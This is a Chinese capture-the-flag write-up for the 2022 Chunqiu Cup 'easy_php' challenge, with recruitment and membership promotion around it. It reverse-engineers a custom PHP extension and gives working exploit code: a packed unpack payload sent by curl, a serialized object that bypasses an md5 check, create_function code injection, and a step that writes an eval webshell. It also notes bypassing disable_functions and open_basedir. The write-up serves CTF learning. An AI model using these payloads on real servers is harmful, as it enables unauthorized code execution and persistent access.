2022春秋杯 勇者山峰赛道0解 easy_php题解
本文来自“白帽子社区知识星球”
作者:yybdy@WHT
WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
highlight_file(__FILE__);error_reporting(0);function createFolder($path){if (!file_exists($path)) {createFolder(dirname($path));mkdir($path, 0777);}}function savePostData(){$content = $GLOBALS['HTTP_RAW_POST_DATA'];if (empty($content)) {$content = file_get_contents('php://input');}if ($content == null) {exit(0);}$format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen';$head = unpack("$format", $content);unset($format);$format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a' . ($head["nFileNameLen"]) . 'chFileName' . '/a' . ($head["nFileDataLen"]) . 'data';$head = unpack("$format", $content);if (is_string($head["chFileName"])) {$fileName = $head["chFileName"];$white_func = array("readfile","unserialize","phpinfo");if (!in_array($fileName, $white_func)) {exit("hi hack!");}$fileName($head["data"]);}echo "FAIL";}savePostData();
函数功能
先看下题目,总共2个函数,
createFolder
创建目录
savePostData
先获取了所有post数据然后用unpack来处理
检测处理后的数据中
chFileName是否为字符串检测
chFileName内容是否是$white_func中的三个函数chFileName(data)
第一步需要构造unpack的数据
https://www.runoob.com/php/func-misc-unpack.htmlphp pack format类型
a 以NUL字节填充字符串空白A 以SPACE(空格)填充字符串h 十六进制字符串,低位在前H 十六进制字符串,高位在前c 有符号字符C 无符号字符s 有符号短整型(16位,主机字节序)S 无符号短整型(16位,主机字节序)n 无符号短整型(16位,大端字节序)v 无符号短整型(16位,小端字节序)i 有符号整型(机器相关大小字节序)I 无符号整型(机器相关大小字节序)l 有符号长整型(32位,主机字节序)L 无符号长整型(32位,主机字节序)N 无符号长整型(32位,大端字节序)V 无符号长整型(32位,小端字节序)q 有符号长长整型(64位,主机字节序)Q 无符号长长整型(64位,主机字节序)J 无符号长长整型(64位,大端字节序)P 无符号长长整型(64位,小端字节序)f 单精度浮点型(机器相关大小)d 双精度浮点型(机器相关大小)x NUL字节X 回退一字节Z 以NUL字节填充字符串空白(new in PHP 5.5)NUL填充到绝对位置
测试:
$string = pack('L4', 1, 2, 3, 4);var_dump(unpack('Ll1/Ll2/Ll3/Ll4', $string)); //可以指定key,用/分割//输出:array(4) {[]=>int(1)[]=>int(2)[]=>int(3)[]=>int(4)}
unpack的数据前4个有符号整形字段没用,后面的4个字段分别为:
int functionNameLen
int functionArgLen
String functionName
String functionArg
exp:
<?php$func = "phpinfo";$funcLen = strlen($func);$arg = "-1";$argLen = strlen($arg);$a = pack("l", 1);$a = $a.$a.$a.$a;$a = $a..pack("l", $funcLen).pack("l", $argLen);$a = $a.pack("a${funcLen}", $func);$a = $a.pack("a${argLen}", $arg);$format = "lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen" . "/a${funcLen}" . "chFileName" . "/a${argLen}". "data";$obj = unpack("$format", $a);var_dump($obj);$url = "http://eci-xxxxxxxxx.cloudeci1.ichunqiu.com/";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $a);$output = curl_exec($ch);curl_close($ch);print_r($output);
先看phpinfo发现存在disable_func和open_basedir

并且存在一个ctf扩展,先用readfile读取(路径在php.ini中extensions_dir)
readfile("/usr/local/lib/php/extensions/no-debug-non-zts-20190902/ctf.so");分析so扩展
到本地逆向查看发现主要构造了一个php类,不难发现根据phpinfo中zephir_pareser扩展来猜,作者是利用zephir去把写好的一个类编译成C然后生成的so扩展(https://zephir-lang.com)
这里添加了5个属性

php类的析构函数

根据php私有属性id定义
#define ZEND_ACC_PUBLIC (1 << 0)#define ZEND_ACC_PROTECTED (1 << 1)#define ZEND_ACC_PRIVATE (1 << 2)
还原源代码
简单的还原这个类:
namespace Ctf{class Greeting{public $search;private $key;private $cmd;private $args;private $token;function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){zim_Ctf_Greeting_call_back(cmd, args);}}}}
zim_Ctf_Greeting_call_back函数分析如下:
Php基础变量typedef union _zend_value {zend_long lval; /* long value */double dval; /* double value */zend_refcounted *counted;zend_string *str;zend_array *arr;zend_object *obj;zend_resource *res;zend_reference *ref;zend_ast_ref *ast;zval *zv;void *ptr;zend_class_entry *ce;zend_function *func;struct {uint32_t w1;uint32_t w2;} ww;} zend_value;struct _zval_struct {zend_value value; /* value */union {struct {ZEND_ENDIAN_LOHI_3(zend_uchar type, /* active type */zend_uchar type_flags,union {uint16_t extra; /* not further specified */} u)} v;uint32_t type_info;} u1;union {uint32_t next; /* hash collision chain */uint32_t cache_slot; /* cache slot (for RECV_INIT) */uint32_t opline_num; /* opline number (for FAST_CALL) */uint32_t lineno; /* line number (for ast nodes) */uint32_t num_args; /* arguments number for EX(This) */uint32_t fe_pos; /* foreach position */uint32_t fe_iter_idx; /* foreach iterator index */uint32_t access_flags; /* class constant access flags */uint32_t property_guard; /* single property guard */uint32_t constant_flags; /* constant flags */uint32_t extra; /* not further specified */} u2;};
Type=6代表字符串
_zend_string结构如下:
typedef struct _zend_refcounted_h {uint32_t refcount; /* reference counter 32-bit */union {uint32_t type_info;} u;} zend_refcounted_h;struct _zend_refcounted {zend_refcounted_h gc;};struct _zend_string {zend_refcounted_h gc;zend_ulong h; /* hash value */size_t len;char val[1];};
1.判断参数1长度是否小于等于12,走两条不同的路

2.若小于等于12,则调用方法ephir_call_zval_func_aparams(cmd, args),还原php代码为
$cmd($args);否则走另一条路:
zval *params_[2];params_[1] = “”;params_[2] = base64_decode(args);zephir_call_func_aparams(out_value, "create_function", 15, 0, 2, 2, params_);
还原php代码为create_function(‘’, base64_decode($args));
最后还原整个zim_Ctf_Greeting_call_back方法:
public function call_back($cmd, $args){if(strlen($cmd)<=12){$cmd($args);}else{create_function(‘’, base64_decode($args));}}
最终还原的Ctf\Greeting类
namespace Ctf{class Greeting{protected $key;protected $cmd;protected $args;protected $token;public $search;function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($cmd)<=12){$this->cmd($this->args);}else{create_function(‘’, base64_decode($args));}}}}}
POC
md5直接用数组绕
cmd长度大于12,用create_function代码注入漏洞(https://blog.csdn.net/qq_51652864/article/details/115701537)
poc:
namespace Ctf{class Greeting{protected $key;protected $cmd;protected $args;protected $token;public $search;public function __construct(){$this->cmd = '11111111111111';$this->args =base64_encode('}phpinfo();//');$this->search = 1;$this->token = array('yes');$this->key = array('no');;}public function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($this->cmd)<=12){$this->cmd($this->args);}else{create_function('', base64_decode($this->args));}}}}}namespace{$exp = new Ctf\Greeting();echo urlencode(serialize($exp));}

尝试写shell
因为题目存在disable_func和open_basedir不能直接找flag
所以尝试写webshell来绕过它。
但是这里根据题目,猜测应该是没权限,用作者提供的createFolder创建一个目录
public function __construct(){$this->cmd = 'createFolder';$this->args ='shell';$this->search = 1;$this->token = array('yes');$this->key = array('no');;}
然后写shell
<?php# serializenamespace Ctf{class Greeting{protected $key;protected $cmd;protected $args;protected $token;public $search;public function __construct(){$this->cmd = '11111111111111';$this->args =base64_encode('}file_put_contents("shell/shell.php","<?php eval(\$_POST[\'a\']);?>");//');$this->search = 1;$this->token = array('yes');$this->key = array('no');;}public function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($this->cmd)<=12){$this->cmd($this->args);}else{create_function('', base64_decode($this->args));}}}}}namespace{$exp = new Ctf\Greeting();$exp=urlencode(serialize($exp));# unpack$data = urldecode($exp);$ln = strlen($data);$format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a11' . 'chFileName' . "/a${ln}" . 'data';$a = pack("l", 1);$a = $a.$a.$a.$a.pack("l", 11).pack("l", $ln);$a = $a.pack('a11', "unserialize");$a = $a.pack("a${ln}", "${data}");$obj = unpack("$format", $a);var_dump($obj);#curl$url = "http://192.168.124.32/ezphp.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $a);$output = curl_exec($ch);curl_close($ch);print_r($output);

绕dibsable_func && open_basedir
可以直接用蚁剑插件即可


如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
